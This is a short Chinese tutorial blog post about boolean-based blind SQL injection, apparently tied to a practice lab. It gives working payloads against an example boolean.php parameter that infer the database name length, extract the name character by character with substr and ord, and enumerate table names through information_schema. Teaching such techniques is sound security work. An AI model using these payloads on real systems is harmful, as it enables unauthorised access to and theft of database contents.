SQL注入基础 布尔盲注(二)

布尔盲注的经典例子

https://www.ichunqiu.com/battalion?t=1&r=68487

 测试语句

判断库名长度

构造SQL判断语句,查看页面返回结果推测哪些SQL判断条件是成立的。

这里假设数据库库名的长度为3。

返回结果分为2种,即yes,和no。

/boolean.php?id=1' and length(database())>=1--+  //页面返回结果为yes
/boolean.php?id=1' and length(database())>=2--+  //页面返回结果为yes
/boolean.php?id=1' and length(database())>=3--+  //页面返回结果为yes
/boolean.php?id=1' and length(database())>=4--+  //页面返回结果为no

这里大于等于4时,结果为no,由此判断出长度为3。

获取数据库名

使用逐字符判断的方式获取数据库库名。数据库库名的范围一般在a~z,0~9之内,可能还有一些特殊字符。

假设数据库库名为sql,且第一个字符是s,第二个字符是q。

/boolean.php?id=1' and substr(database(),1,1)='t'--+    //页面返回结果为no
/boolean.php?id=1' and substr(database(),1,1)='a'--+    //页面返回结果为no
/boolean.php?id=1' and substr(database(),1,1)='s'--+    //页面返回结果为yes
/boolean.php?id=1' and substr(database(),2,1)='q'--+    //页面返回结果为yes
substr(database(),<查询的第n个字符>,1)

还可以使用Ascii码的字符进行查询。

/boolean.php?id=1' and ord(substr(database(),1,1))=115--+

利用substr判断数据库的库名

已知数据库sql的第一个表名是email,判断语句

/boolean.php?id=1' and substr((select table_name from information_schema.tables where table_schema='sql' limit 0,1),1,1)='e'--+

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值